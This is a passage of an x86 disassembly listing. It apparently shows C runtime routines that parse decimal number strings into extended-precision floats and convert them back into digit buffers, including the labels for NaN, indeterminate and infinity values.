mov [ebp+var_54], 1 jmp short loc_42EAA5 ; --------------------------------------------------------------------------- loc_42EA94: ; CODE XREF: sub_42E7F0:loc_42EB1Fj mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_3C], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42EAA5: ; CODE XREF: sub_42E7F0+2A2j cmp dword_447480, 1 jle short loc_42EAC9 push 4 mov eax, [ebp+var_3C] and eax, 0FFh push eax call sub_41FA40 add esp, 8 mov [ebp+var_90], eax jmp short loc_42EAE7 ; --------------------------------------------------------------------------- loc_42EAC9: ; CODE XREF: sub_42E7F0+2BCj mov ecx, [ebp+var_3C] and ecx, 0FFh mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_90], eax loc_42EAE7: ; CODE XREF: sub_42E7F0+2D7j cmp [ebp+var_90], 0 jz short loc_42EB24 cmp [ebp+var_70], 19h jnb short loc_42EB16 mov ecx, [ebp+var_70] add ecx, 1 mov [ebp+var_70], ecx movsx edx, byte ptr [ebp+var_3C] sub edx, 30h mov eax, [ebp+var_68] mov [eax], dl mov ecx, [ebp+var_68] add ecx, 1 mov [ebp+var_68], ecx jmp short loc_42EB1F ; --------------------------------------------------------------------------- loc_42EB16: ; CODE XREF: sub_42E7F0+304j mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx loc_42EB1F: ; CODE XREF: sub_42E7F0+324j jmp loc_42EA94 ; --------------------------------------------------------------------------- loc_42EB24: ; CODE XREF: sub_42E7F0+2FEj movsx eax, byte ptr [ebp+var_3C] movsx ecx, byte_447484 cmp eax, ecx jnz short loc_42EB3C mov [ebp+var_4C], 4 jmp short loc_42EB9E ; --------------------------------------------------------------------------- loc_42EB3C: ; CODE XREF: sub_42E7F0+341j movsx edx, byte ptr [ebp+var_3C] mov [ebp+var_94], edx mov eax, [ebp+var_94] sub eax, 2Bh mov [ebp+var_94], eax cmp [ebp+var_94], 3Ah ja short loc_42EB8E mov edx, [ebp+var_94] xor ecx, ecx mov cl, byte_42F291[edx] jmp off_42F285[ecx*4] loc_42EB73: ; DATA XREF: .data:0042F289o mov [ebp+var_4C], 6 jmp short loc_42EB9E ; --------------------------------------------------------------------------- loc_42EB7C: ; CODE XREF: sub_42E7F0+37Cj ; DATA XREF: .data:off_42F285o mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax mov [ebp+var_4C], 0Bh jmp short loc_42EB9E ; --------------------------------------------------------------------------- loc_42EB8E: ; CODE XREF: sub_42E7F0+36Cj ; sub_42E7F0+37Cj ; DATA XREF: ... mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_42EB9E: ; CODE XREF: sub_42E7F0+34Aj ; sub_42E7F0+38Aj ... jmp loc_42EFF3 ; --------------------------------------------------------------------------- loc_42EBA3: ; CODE XREF: sub_42E7F0+D5j ; DATA XREF: .data:0042F21Ao mov [ebp+var_54], 1 mov [ebp+var_C], 1 cmp [ebp+var_70], 0 jnz short loc_42EBDE jmp short loc_42EBCA ; --------------------------------------------------------------------------- loc_42EBB9: ; CODE XREF: sub_42E7F0+3ECj mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_3C], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42EBCA: ; CODE XREF: sub_42E7F0+3C7j movsx edx, byte ptr [ebp+var_3C] cmp edx, 30h jnz short loc_42EBDE mov eax, [ebp+var_6C] sub eax, 1 mov [ebp+var_6C], eax jmp short loc_42EBB9 ; --------------------------------------------------------------------------- loc_42EBDE: ; CODE XREF: sub_42E7F0+3C5j ; sub_42E7F0+3E1j jmp short loc_42EBF1 ; --------------------------------------------------------------------------- loc_42EBE0: ; CODE XREF: sub_42E7F0:loc_42EC69j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42EBF1: ; CODE XREF: sub_42E7F0:loc_42EBDEj cmp dword_447480, 1 jle short loc_42EC16 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_41FA40 add esp, 8 mov [ebp+var_98], eax jmp short loc_42EC33 ; --------------------------------------------------------------------------- loc_42EC16: ; CODE XREF: sub_42E7F0+408j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, off_447274 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_98], ecx loc_42EC33: ; CODE XREF: sub_42E7F0+424j cmp [ebp+var_98], 0 jz short loc_42EC6E cmp [ebp+var_70], 19h jnb short loc_42EC69 mov edx, [ebp+var_70] add edx, 1 mov [ebp+var_70], edx movsx eax, byte ptr [ebp+var_3C] sub eax, 30h mov ecx, [ebp+var_68] mov [ecx], al mov edx, [ebp+var_68] add edx, 1 mov [ebp+var_68], edx mov eax, [ebp+var_6C] sub eax, 1 mov [ebp+var_6C], eax loc_42EC69: ; CODE XREF: sub_42E7F0+450j jmp loc_42EBE0 ; --------------------------------------------------------------------------- loc_42EC6E: ; CODE XREF: sub_42E7F0+44Aj movsx ecx, byte ptr [ebp+var_3C] mov [ebp+var_9C], ecx mov edx, [ebp+var_9C] sub edx, 2Bh mov [ebp+var_9C], edx cmp [ebp+var_9C], 3Ah ja short loc_42ECC0 mov ecx, [ebp+var_9C] xor eax, eax mov al, byte_42F2D8[ecx] jmp off_42F2CC[eax*4] loc_42ECA5: ; DATA XREF: .data:0042F2D0o mov [ebp+var_4C], 6 jmp short loc_42ECD0 ; --------------------------------------------------------------------------- loc_42ECAE: ; CODE XREF: sub_42E7F0+4AEj ; DATA XREF: .data:off_42F2CCo mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov [ebp+var_4C], 0Bh jmp short loc_42ECD0 ; --------------------------------------------------------------------------- loc_42ECC0: ; CODE XREF: sub_42E7F0+49Ej ; sub_42E7F0+4AEj ; DATA XREF: ... mov [ebp+var_4C], 0Ah mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_42ECD0: ; CODE XREF: sub_42E7F0+4BCj ; sub_42E7F0+4CEj jmp loc_42EFF3 ; --------------------------------------------------------------------------- loc_42ECD5: ; CODE XREF: sub_42E7F0+D5j ; DATA XREF: .data:0042F21Eo mov [ebp+var_C], 1 cmp dword_447480, 1 jle short loc_42ED01 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_41FA40 add esp, 8 mov [ebp+var_A0], eax jmp short loc_42ED1E ; --------------------------------------------------------------------------- loc_42ED01: ; CODE XREF: sub_42E7F0+4F3j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, off_447274 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_A0], ecx loc_42ED1E: ; CODE XREF: sub_42E7F0+50Fj cmp [ebp+var_A0], 0 jz short loc_42ED39 mov [ebp+var_4C], 4 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_42ED46 ; --------------------------------------------------------------------------- loc_42ED39: ; CODE XREF: sub_42E7F0+535j mov [ebp+var_4C], 0Ah mov eax, [ebp+var_64] mov [ebp+var_4], eax loc_42ED46: ; CODE XREF: sub_42E7F0+547j jmp loc_42EFF3 ; --------------------------------------------------------------------------- loc_42ED4B: ; CODE XREF: sub_42E7F0+D5j ; DATA XREF: .data:0042F222o mov ecx, [ebp+var_4] sub ecx, 2 mov [ebp+var_64], ecx movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_42ED78 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_42ED78 mov [ebp+var_4C], 9 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_42EDCD ; --------------------------------------------------------------------------- loc_42ED78: ; CODE XREF: sub_42E7F0+56Bj ; sub_42E7F0+574j mov dl, byte ptr [ebp+var_3C] mov [ebp+var_A4], dl cmp [ebp+var_A4], 2Bh jz short loc_42EDB7 cmp [ebp+var_A4], 2Dh jz short loc_42EDA7 cmp [ebp+var_A4], 30h jz short loc_42ED9E jmp short loc_42EDC0 ; --------------------------------------------------------------------------- loc_42ED9E: ; CODE XREF: sub_42E7F0+5AAj mov [ebp+var_4C], 8 jmp short loc_42EDCD ; --------------------------------------------------------------------------- loc_42EDA7: ; CODE XREF: sub_42E7F0+5A1j mov [ebp+var_4C], 7 mov [ebp+var_74], 0FFFFFFFFh jmp short loc_42EDCD ; --------------------------------------------------------------------------- loc_42EDB7: ; CODE XREF: sub_42E7F0+598j mov [ebp+var_4C], 7 jmp short loc_42EDCD ; --------------------------------------------------------------------------- loc_42EDC0: ; CODE XREF: sub_42E7F0+5ACj mov [ebp+var_4C], 0Ah mov eax, [ebp+var_64] mov [ebp+var_4], eax loc_42EDCD: ; CODE XREF: sub_42E7F0+586j ; sub_42E7F0+5B5j ... jmp loc_42EFF3 ; --------------------------------------------------------------------------- loc_42EDD2: ; CODE XREF: sub_42E7F0+D5j ; DATA XREF: .data:0042F22Ao mov [ebp+var_18], 1 jmp short loc_42EDEC ; --------------------------------------------------------------------------- loc_42EDDB: ; CODE XREF: sub_42E7F0+605j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42EDEC: ; CODE XREF: sub_42E7F0+5E9j movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 30h jnz short loc_42EDF7 jmp short loc_42EDDB ; --------------------------------------------------------------------------- loc_42EDF7: ; CODE XREF: sub_42E7F0+603j movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_42EE1B movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_42EE1B mov [ebp+var_4C], 9 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_42EE2B ; --------------------------------------------------------------------------- loc_42EE1B: ; CODE XREF: sub_42E7F0+60Ej ; sub_42E7F0+617j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_42EE2B: ; CODE XREF: sub_42E7F0+629j jmp loc_42EFF3 ; --------------------------------------------------------------------------- loc_42EE30: ; CODE XREF: sub_42E7F0+D5j ; DATA XREF: .data:0042F226o movsx eax, byte ptr [ebp+var_3C] cmp eax, 31h jl short loc_42EE54 movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 39h jg short loc_42EE54 mov [ebp+var_4C], 9 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_42EE7E ; --------------------------------------------------------------------------- loc_42EE54: ; CODE XREF: sub_42E7F0+647j ; sub_42E7F0+650j mov al, byte ptr [ebp+var_3C] mov [ebp+var_A8], al cmp [ebp+var_A8], 30h jz short loc_42EE68 jmp short loc_42EE71 ; --------------------------------------------------------------------------- loc_42EE68: ; CODE XREF: sub_42E7F0+674j mov [ebp+var_4C], 8 jmp short loc_42EE7E ; --------------------------------------------------------------------------- loc_42EE71: ; CODE XREF: sub_42E7F0+676j mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_64] mov [ebp+var_4], ecx loc_42EE7E: ; CODE XREF: sub_42E7F0+662j ; sub_42E7F0+67Fj jmp loc_42EFF3 ; --------------------------------------------------------------------------- loc_42EE83: ; CODE XREF: sub_42E7F0+D5j ; DATA XREF: .data:0042F22Eo mov [ebp+var_18], 1 mov [ebp+var_7C], 0 jmp short loc_42EEA4 ; --------------------------------------------------------------------------- loc_42EE93: ; CODE XREF: sub_42E7F0:loc_42EF12j mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_3C], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_42EEA4: ; CODE XREF: sub_42E7F0+6A1j cmp dword_447480, 1 jle short loc_42EEC9 push 4 mov edx, [ebp+var_3C] and edx, 0FFh push edx call sub_41FA40 add esp, 8 mov [ebp+var_AC], eax jmp short loc_42EEE6 ; --------------------------------------------------------------------------- loc_42EEC9: ; CODE XREF: sub_42E7F0+6BBj mov eax, [ebp+var_3C] and eax, 0FFh mov ecx, off_447274 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_AC], edx loc_42EEE6: ; CODE XREF: sub_42E7F0+6D7j cmp [ebp+var_AC], 0 jz short loc_42EF17 mov eax, [ebp+var_7C] imul eax, 0Ah movsx ecx, byte ptr [ebp+var_3C] lea edx, [eax+ecx-30h] mov [ebp+var_7C], edx cmp [ebp+var_7C], 1450h jle short loc_42EF12 mov [ebp+var_7C], 1451h jmp short loc_42EF17 ; --------------------------------------------------------------------------- loc_42EF12: ; CODE XREF: sub_42E7F0+717j jmp loc_42EE93 ; --------------------------------------------------------------------------- loc_42EF17: ; CODE XREF: sub_42E7F0+6FDj ; sub_42E7F0+720j mov eax, [ebp+var_7C] mov [ebp+var_14], eax jmp short loc_42EF30 ; --------------------------------------------------------------------------- loc_42EF1F: ; CODE XREF: sub_42E7F0+78Bj mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_42EF30: ; CODE XREF: sub_42E7F0+72Dj cmp dword_447480, 1 jle short loc_42EF55 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_41FA40 add esp, 8 mov [ebp+var_B0], eax jmp short loc_42EF72 ; --------------------------------------------------------------------------- loc_42EF55: ; CODE XREF: sub_42E7F0+747j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, off_447274 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_B0], ecx loc_42EF72: ; CODE XREF: sub_42E7F0+763j cmp [ebp+var_B0], 0 jz short loc_42EF7D jmp short loc_42EF1F ; --------------------------------------------------------------------------- loc_42EF7D: ; CODE XREF: sub_42E7F0+789j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_42EFF3 ; --------------------------------------------------------------------------- loc_42EF8F: ; CODE XREF: sub_42E7F0+D5j ; DATA XREF: .data:0042F236o cmp [ebp+arg_18], 0 jz short loc_42EFE3 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_64], eax mov cl, byte ptr [ebp+var_3C] mov [ebp+var_B4], cl cmp [ebp+var_B4], 2Bh jz short loc_42EFCB cmp [ebp+var_B4], 2Dh jz short loc_42EFBB jmp short loc_42EFD4 ; --------------------------------------------------------------------------- loc_42EFBB: ; CODE XREF: sub_42E7F0+7C7j mov [ebp+var_4C], 7 mov [ebp+var_74], 0FFFFFFFFh jmp short loc_42EFE1 ; --------------------------------------------------------------------------- loc_42EFCB: ; CODE XREF: sub_42E7F0+7BEj mov [ebp+var_4C], 7 jmp short loc_42EFE1 ; --------------------------------------------------------------------------- loc_42EFD4: ; CODE XREF: sub_42E7F0+7C9j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_64] mov [ebp+var_4], edx loc_42EFE1: ; CODE XREF: sub_42E7F0+7D9j ; sub_42E7F0+7E2j jmp short loc_42EFF3 ; --------------------------------------------------------------------------- loc_42EFE3: ; CODE XREF: sub_42E7F0+7A3j mov [ebp+var_4C], 0Ah mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_42EFF3: ; CODE XREF: sub_42E7F0+CCj ; sub_42E7F0+D5j ... jmp loc_42E897 ; --------------------------------------------------------------------------- loc_42EFF8: ; CODE XREF: sub_42E7F0+ABj mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx cmp [ebp+var_54], 0 jz loc_42F147 cmp [ebp+var_40], 0 jnz loc_42F147 cmp [ebp+var_78], 0 jnz loc_42F147 cmp [ebp+var_70], 18h jbe short loc_42F04F movsx eax, [ebp+var_21] cmp eax, 5 jl short loc_42F036 mov cl, [ebp+var_21] add cl, 1 mov [ebp+var_21], cl loc_42F036: ; CODE XREF: sub_42E7F0+83Bj mov [ebp+var_70], 18h mov edx, [ebp+var_68] sub edx, 1 mov [ebp+var_68], edx mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax loc_42F04F: ; CODE XREF: sub_42E7F0+832j cmp [ebp+var_70], 0 jbe loc_42F12A mov ecx, [ebp+var_68] sub ecx, 1 mov [ebp+var_68], ecx jmp short loc_42F06D ; --------------------------------------------------------------------------- loc_42F064: ; CODE XREF: sub_42E7F0+899j mov edx, [ebp+var_68] sub edx, 1 mov [ebp+var_68], edx loc_42F06D: ; CODE XREF: sub_42E7F0+872j mov eax, [ebp+var_68] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_42F08B mov edx, [ebp+var_70] sub edx, 1 mov [ebp+var_70], edx mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax jmp short loc_42F064 ; --------------------------------------------------------------------------- loc_42F08B: ; CODE XREF: sub_42E7F0+885j lea ecx, [ebp+var_60] push ecx mov edx, [ebp+var_70] push edx lea eax, [ebp+var_38] push eax call sub_42E6B0 add esp, 0Ch cmp [ebp+var_74], 0 jge short loc_42F0AD mov ecx, [ebp+var_14] neg ecx mov [ebp+var_14], ecx loc_42F0AD: ; CODE XREF: sub_42E7F0+8B3j mov edx, [ebp+var_14] add edx, [ebp+var_6C] mov [ebp+var_14], edx cmp [ebp+var_18], 0 jnz short loc_42F0C5 mov eax, [ebp+var_14] add eax, [ebp+arg_10] mov [ebp+var_14], eax loc_42F0C5: ; CODE XREF: sub_42E7F0+8CAj cmp [ebp+var_C], 0 jnz short loc_42F0D4 mov ecx, [ebp+var_14] sub ecx, [ebp+arg_14] mov [ebp+var_14], ecx loc_42F0D4: ; CODE XREF: sub_42E7F0+8D9j cmp [ebp+var_14], 1450h jle short loc_42F0E6 mov [ebp+var_40], 1 jmp short loc_42F128 ; --------------------------------------------------------------------------- loc_42F0E6: ; CODE XREF: sub_42E7F0+8EBj cmp [ebp+var_14], 0FFFFEBB0h jge short loc_42F0F8 mov [ebp+var_78], 1 jmp short loc_42F128 ; --------------------------------------------------------------------------- loc_42F0F8: ; CODE XREF: sub_42E7F0+8FDj mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_14] push eax lea ecx, [ebp+var_60] push ecx call sub_431980 add esp, 0Ch mov dx, [ebp+var_60] mov [ebp+var_48], dx mov eax, [ebp+var_5E] mov [ebp+var_8], eax mov ecx, [ebp+var_5A] mov [ebp+var_10], ecx mov dx, [ebp+var_56] mov word ptr [ebp+var_50], dx loc_42F128: ; CODE XREF: sub_42E7F0+8F4j ; sub_42E7F0+906j jmp short loc_42F147 ; --------------------------------------------------------------------------- loc_42F12A: ; CODE XREF: sub_42E7F0+863j mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov eax, [ebp+var_50] and eax, 0FFFFh mov [ebp+var_10], eax mov ecx, [ebp+var_10] mov [ebp+var_8], ecx loc_42F147: ; CODE XREF: sub_42E7F0+814j ; sub_42E7F0+81Ej ... cmp [ebp+var_54], 0 jnz short loc_42F176 mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov edx, [ebp+var_50] and edx, 0FFFFh mov [ebp+var_10], edx mov eax, [ebp+var_10] mov [ebp+var_8], eax mov ecx, [ebp+var_44] or ecx, 4 mov [ebp+var_44], ecx jmp short loc_42F1CD ; --------------------------------------------------------------------------- loc_42F176: ; CODE XREF: sub_42E7F0+95Bj cmp [ebp+var_40], 0 jz short loc_42F1A1 mov word ptr [ebp+var_50], 7FFFh mov [ebp+var_10], 80000000h mov [ebp+var_8], 0 mov [ebp+var_48], 0 mov edx, [ebp+var_44] or edx, 2 mov [ebp+var_44], edx jmp short loc_42F1CD ; --------------------------------------------------------------------------- loc_42F1A1: ; CODE XREF: sub_42E7F0+98Aj cmp [ebp+var_78], 0 jz short loc_42F1CD mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov eax, [ebp+var_50] and eax, 0FFFFh mov [ebp+var_10], eax mov ecx, [ebp+var_10] mov [ebp+var_8], ecx mov edx, [ebp+var_44] or edx, 1 mov [ebp+var_44], edx loc_42F1CD: ; CODE XREF: sub_42E7F0+984j ; sub_42E7F0+9AFj ... mov eax, [ebp+arg_0] mov cx, [ebp+var_48] mov [eax], cx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+2], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_10] mov [ecx+6], edx mov eax, [ebp+var_50] and eax, 0FFFFh mov ecx, [ebp+var_1C] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+0Ah], ax mov eax, [ebp+var_44] mov esp, ebp pop ebp retn sub_42E7F0 endp ; --------------------------------------------------------------------------- off_42F20A dd offset loc_42E8CC ; DATA XREF: sub_42E7F0+D5r dd offset loc_42E96A dd offset loc_42EA20 dd offset loc_42EA8B dd offset loc_42EBA3 dd offset loc_42ECD5 dd offset loc_42ED4B dd offset loc_42EE30 dd offset loc_42EDD2 dd offset loc_42EE83 dd offset loc_42EFF3 dd offset loc_42EF8F off_42F23A dd offset loc_42E9F9 ; DATA XREF: sub_42E7F0+1F0r dd offset loc_42E9E7 dd offset loc_42E9F0 dd offset loc_42EA0B byte_42F24A db 0 ; DATA XREF: sub_42E7F0+1EAr db 3 dd 1030300h, 4 dup(3030303h), 2030303h, 3030302h, 6 dup(3030303h) dd 2030303h db 2 off_42F285 dd offset loc_42EB7C ; DATA XREF: sub_42E7F0+37Cr dd offset loc_42EB73 dd offset loc_42EB8E byte_42F291 db 0, 2, 0, 16h dup(2), 2 dup(1), 1Eh dup(2), 2 dup(1) ; DATA XREF: sub_42E7F0+376r off_42F2CC dd offset loc_42ECAE ; DATA XREF: sub_42E7F0+4AEr dd offset loc_42ECA5 dd offset loc_42ECC0 byte_42F2D8 db 0 ; DATA XREF: sub_42E7F0+4A8r db 2, 0, 2 dd 5 dup(2020202h), 2010102h, 7 dup(2020202h), 0CC010102h dd 3 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h push 0 push 0 push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx lea eax, [ebp-0Ch] push eax call sub_42E7F0 add esp, 1Ch mov [ebp-14h], eax mov ecx, [ebp+8] push ecx lea edx, [ebp-0Ch] push edx call sub_42B8F0 add esp, 8 mov [ebp-10h], eax cmp dword ptr [ebp-10h], 1 jnz short loc_42F368 mov eax, [ebp-14h] or al, 2 mov [ebp-14h], eax loc_42F368: ; CODE XREF: .data:0042F35Ej mov eax, [ebp-14h] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F370 proc near ; CODE XREF: sub_42BB70+36p var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = word ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_53 = byte ptr -53h var_52 = byte ptr -52h var_51 = byte ptr -51h var_50 = byte ptr -50h var_4F = byte ptr -4Fh var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_32 = dword ptr -32h var_2E = dword ptr -2Eh var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 74h mov word ptr [ebp+var_64], 4D10h mov word ptr [ebp+var_3C], 4Dh mov word ptr [ebp+var_60], 9Ah mov [ebp+var_20], 134312F4h mov [ebp+var_54], 0CCh mov [ebp+var_53], 0CCh mov [ebp+var_52], 0CCh mov [ebp+var_51], 0CCh mov [ebp+var_50], 0CCh mov [ebp+var_4F], 0CCh mov [ebp+var_4E], 0CCh mov [ebp+var_4D], 0CCh mov [ebp+var_4C], 0CCh mov [ebp+var_4B], 0CCh mov [ebp+var_4A], 0FBh mov [ebp+var_49], 3Fh mov [ebp+var_58], 1 mov ax, [ebp+arg_8] mov word ptr [ebp+var_70], ax mov ecx, [ebp+arg_4] mov [ebp+var_24], ecx mov edx, [ebp+arg_0] mov [ebp+var_48], edx mov eax, [ebp+var_70] and eax, 0FFFFh and eax, 8000h mov word ptr [ebp+var_68], ax mov cx, word ptr [ebp+var_70] and cx, 7FFFh mov word ptr [ebp+var_70], cx mov edx, [ebp+var_68] and edx, 0FFFFh test edx, edx jz short loc_42F40E mov eax, [ebp+arg_14] mov byte ptr [eax+2], 2Dh jmp short loc_42F415 ; --------------------------------------------------------------------------- loc_42F40E: ; CODE XREF: sub_42F370+93j mov ecx, [ebp+arg_14] mov byte ptr [ecx+2], 20h loc_42F415: ; CODE XREF: sub_42F370+9Cj mov edx, [ebp+var_70] and edx, 0FFFFh test edx, edx jnz short loc_42F45C cmp [ebp+var_24], 0 jnz short loc_42F45C cmp [ebp+var_48], 0 jnz short loc_42F45C mov eax, [ebp+arg_14] mov word ptr [eax], 0 mov ecx, [ebp+arg_14] mov byte ptr [ecx+2], 20h mov edx, [ebp+arg_14] mov byte ptr [edx+3], 1 mov eax, [ebp+arg_14] mov byte ptr [eax+4], 30h mov ecx, [ebp+arg_14] mov byte ptr [ecx+5], 0 mov eax, 1 jmp loc_42F882 ; --------------------------------------------------------------------------- loc_42F45C: ; CODE XREF: sub_42F370+B0j ; sub_42F370+B6j ... mov edx, [ebp+var_70] and edx, 0FFFFh cmp edx, 7FFFh jnz loc_42F556 mov eax, [ebp+arg_14] mov word ptr [eax], 1 cmp [ebp+var_24], 80000000h jnz short loc_42F488 cmp [ebp+var_48], 0 jz short loc_42F4BC loc_42F488: ; CODE XREF: sub_42F370+110j mov ecx, [ebp+var_24] and ecx, 40000000h test ecx, ecx jnz short loc_42F4BC push offset a1Snan ; "1#SNAN" mov edx, [ebp+arg_14] add edx, 4 push edx call sub_418870 add esp, 8 mov eax, [ebp+arg_14] mov byte ptr [eax+3], 6 mov [ebp+var_58], 0 jmp loc_42F551 ; --------------------------------------------------------------------------- loc_42F4BC: ; CODE XREF: sub_42F370+116j ; sub_42F370+123j mov ecx, [ebp+var_68] and ecx, 0FFFFh test ecx, ecx jz short loc_42F4FC cmp [ebp+var_24], 0C0000000h jnz short loc_42F4FC cmp [ebp+var_48], 0 jnz short loc_42F4FC push offset a1Ind ; "1#IND" mov edx, [ebp+arg_14] add edx, 4 push edx call sub_418870 add esp, 8 mov eax, [ebp+arg_14] mov byte ptr [eax+3], 5 mov [ebp+var_58], 0 jmp short loc_42F551 ; --------------------------------------------------------------------------- loc_42F4FC: ; CODE XREF: sub_42F370+157j ; sub_42F370+160j ... cmp [ebp+var_24], 80000000h jnz short loc_42F52F cmp [ebp+var_48], 0 jnz short loc_42F52F push offset a1Inf ; "1#INF" mov ecx, [ebp+arg_14] add ecx, 4 push ecx call sub_418870 add esp, 8 mov edx, [ebp+arg_14] mov byte ptr [edx+3], 5 mov [ebp+var_58], 0 jmp short loc_42F551 ; --------------------------------------------------------------------------- loc_42F52F: ; CODE XREF: sub_42F370+193j ; sub_42F370+199j push offset a1Qnan ; "1#QNAN" mov eax, [ebp+arg_14] add eax, 4 push eax call sub_418870 add esp, 8 mov ecx, [ebp+arg_14] mov byte ptr [ecx+3], 6 mov [ebp+var_58], 0 loc_42F551: ; CODE XREF: sub_42F370+147j ; sub_42F370+18Aj ... jmp loc_42F87F ; --------------------------------------------------------------------------- loc_42F556: ; CODE XREF: sub_42F370+FBj mov edx, [ebp+var_70] and edx, 0FFFFh sar edx, 8 mov word ptr [ebp+var_6C], dx mov eax, [ebp+var_70] and eax, 0FFFFh and eax, 0FFh mov [ebp+var_C], ax mov ecx, [ebp+var_24] shr ecx, 18h mov word ptr [ebp+var_40], cx mov edx, [ebp+var_64] and edx, 0FFFFh mov eax, [ebp+var_70] and eax, 0FFFFh imul edx, eax mov ecx, [ebp+var_3C] and ecx, 0FFFFh mov eax, [ebp+var_6C] and eax, 0FFFFh imul ecx, eax add edx, ecx mov ecx, [ebp+var_60] and ecx, 0FFFFh mov eax, [ebp+var_40] and eax, 0FFFFh imul ecx, eax add edx, ecx sub edx, [ebp+var_20] mov [ebp+var_8], edx mov ecx, [ebp+var_8] sar ecx, 10h mov [ebp+var_5C], cx mov dx, word ptr [ebp+var_70] mov word ptr [ebp+var_2E], dx mov eax, [ebp+var_24] mov [ebp+var_32], eax mov ecx, [ebp+var_48] mov [ebp+var_38+2], ecx mov word ptr [ebp+var_38], 0 push 1 movsx edx, [ebp+var_5C] neg edx push edx lea eax, [ebp+var_38] push eax call sub_431980 add esp, 0Ch mov ecx, [ebp+var_2E] and ecx, 0FFFFh cmp ecx, 3FFFh jl short loc_42F62D mov dx, [ebp+var_5C] add dx, 1 mov [ebp+var_5C], dx lea eax, [ebp+var_54] push eax lea ecx, [ebp+var_38] push ecx call sub_431540 add esp, 8 loc_42F62D: ; CODE XREF: sub_42F370+29Fj mov edx, [ebp+arg_14] mov ax, [ebp+var_5C] mov [edx], ax mov ecx, [ebp+arg_10] and ecx, 1 test ecx, ecx jz short loc_42F681 